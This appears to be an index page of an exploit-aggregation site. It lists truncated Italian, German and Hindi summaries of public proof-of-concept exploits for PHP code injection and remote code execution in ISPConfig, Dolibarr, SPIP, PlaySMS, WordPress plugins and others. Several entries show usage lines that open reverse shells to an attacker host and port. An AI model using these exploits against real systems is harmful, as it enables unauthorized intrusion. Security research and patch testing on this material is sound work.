By-Poloss..-..CVE-2017-20251

CVE-2017-20251: Iniezione di Codice PHP nel Plugin Insert PHP Titolo della Vulnerabilità Iniezione di Codice PHP Non Autenticata tramite Elaborazione di Shortcode nel Plugin Insert PHP Informazioni di Base...

CVE-2024-7094

CVE-2024-7094 CVE-2024-7094 Schwachstellen-Checker Schwachstellentyp: PHP-Code-Injection...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 Script Python per sfruttare PlaySMS prima della versione 1.4.3 Esecuzione Apri una porta sulla tua macchina: Ed esegui exploit.py: root@kitploit: ./exploit.py Modifica dell'exploit Potresti voler cambiare la reverse shell creata da exploit.py Per farlo, puoi modificare l...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration e Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+--------------+...

CVE-2023-46818-python-exploit

CVE-2023-46818 exploit Questa è una versione Python dello script PHP originale per la vulnerabilità che interessa ispconfig 3.2.11 e versioni precedenti. Sorgente PHP originale: https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html Questa proof-of-concept è intesa...

MetInfo CMS <= 8.1 - Remote Code Execution

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests. id: CVE-2026-29014 info: name: MetInfo CMS = 8....

CVE-2024-9441

Nortek Linear eMerge E3 Pre-Auth RCE PoC CVE-2024-9441 Descrizione: Questo repository contiene un Proof of Concept PoC per lo sfruttamento di Nortek Linear eMerge E3 CVE-2024-9441, vulnerabile a Remote Code Execution RCE in stato di pre-autenticazione. La vulnerabilità viene attivata tramite un...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit Questo è il mio exploit personale per CVE-2023-46818, buon hacking! Questo exploit automatizza l'attacco descritto in CVE-2023-46818 sfruttando una vulnerabilità di injection PHP in ISPConfig versione 3.2.11 e precedenti. Accede al pannello ISPConfig utilizzando credenziali...

CVE-2023-46818

CVE-2023-46818 ISPConfig 3.2.11p1 से पहले के संस्करण में एक समस्या पाई गई। यदि adminallowlangedit सक्षम है, तो एक व्यवस्थापक द्वारा भाषा फ़ाइल संपादक में PHP कोड इंजेक्शन किया जा सकता है। उपयोग root@kitploit: ❯ python3 CVE-2023-46818.py Usage: python3 CVE-2023-46818.py Poc of CVE-2023-46818...

CVE-2023-46818

CVE-2023-46818 ISPConfig - PHP-Code-Injection PoC Exploit Bash CVE-2023-46818 Authentifizierte PHP-Code-Injection in ISPConfig Weitere Details: Advisory CVE-2023-46818 PoC Einleitung ISPConfig Versionen Hinweis: Dieser Exploit erfordert gültige ISPConfig-Admin-Anmeldeinformationen und stellt eine...

CVE-2023-27372

Exploit CVE-2023-27372 Exploit per CVE-2023-27372 , una vulnerabilità di esecuzione remota di codice non autenticata nel CMS SPIP che interessa le versioni precedenti alla 4.2.1. ⚠️ Solo a scopo educativo. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di...

php-jpeg-injector

php-jpeg-injector Injiziert PHP-Payloads in JPEG-Bilder. Verwandt mit diesem Beitrag. Anwendungsfall Sie haben eine Webanwendung, die ein JPEG-Bild durch die GD-Grafikbibliothek von PHP ausführt. Beschreibung Dieses Skript injiziert PHP-Code in ein angegebenes JPEG-Bild. Die Webanwendung führt de...

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution Exploit für PHP-Code-Injection für Dolibarr ERP/CRM v17.0.0 , der es ermöglicht, über das Website-/CMS-Modul eine Reverse-Shell als Benutzer www-data zu erhalten. ⚠️ Nur für Bildungszwecke und autorisierte Audits. 📑 Inhaltsverzeichnis...

CVE-2021-40904

CVE-2021-40904 - RCE tramite l'applicazione integrata Dokuwiki di CheckMk Application: Console Web di gestione CheckMK Software Revision: Dalla 1.5.0 alla 1.5.0p25 Attack type: RCE Solution: Aggiornare alla versione 1.6 o successiva. Summary: La console web di gestione di CheckMk Raw Edition...

CVE-2023-46818

CVE-2023-46818 - Esecuzione di codice PHP in ISPConfig | Exploit Esecuzione remota di codice ad alta criticità in ISPConfig Implementazione PoC. Sommario Le versioni di ISPConfig /admin/languageedit.php — endpoint vulnerabile di ISPConfig...

CVE-2024-25600

Exploit CVE-2024-25600 - Esecuzione Remota di Codice RCE su WordPress Bricks Builder Uno script di exploit per CVE-2024-25600 , una vulnerabilità critica di Esecuzione Remota di Codice RCE non autenticata nel plugin Bricks Builder per WordPress. Questo strumento rileva la falla, estrae il nonce e...

CVE-2024-7954

CVE-2024-7954 - SPIP 4.2.8 Remote Command Execution RCE Exploit Dieses Skript nutzt eine Remote-Code-Execution-Schwachstelle in SPIP Version 4.2.8 über den porteplumeprevisu-Endpunkt aus. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, PHP-Code durch die Vorschau-Wiedergabe...

pocs

minervais.com.phpMyAdminRCE.sh phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE POC. Dies war der erste öffentlich veröffentlichte Exploit für CVE-2009-1151. Syntax root@kitploit: $ ./phpMyAdminRCE.sh usage: ./phpMyAdminRCE.sh i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/ Demo...

CVE-2024-43363

CVE-2024-43363 CVE-2024-43363 Exploit-Skript Dieses Python-Skript wurde entwickelt, um zu testen, ob eine Cacti-Instanz anfällig für CVE-2024-43363 ist, eine Remote-Code-Execution-Schwachstelle RCE, die durch Log-Poisoning verursacht wird. So funktioniert die Schwachstelle: root@kitploit:...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

PoC exploit per Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost...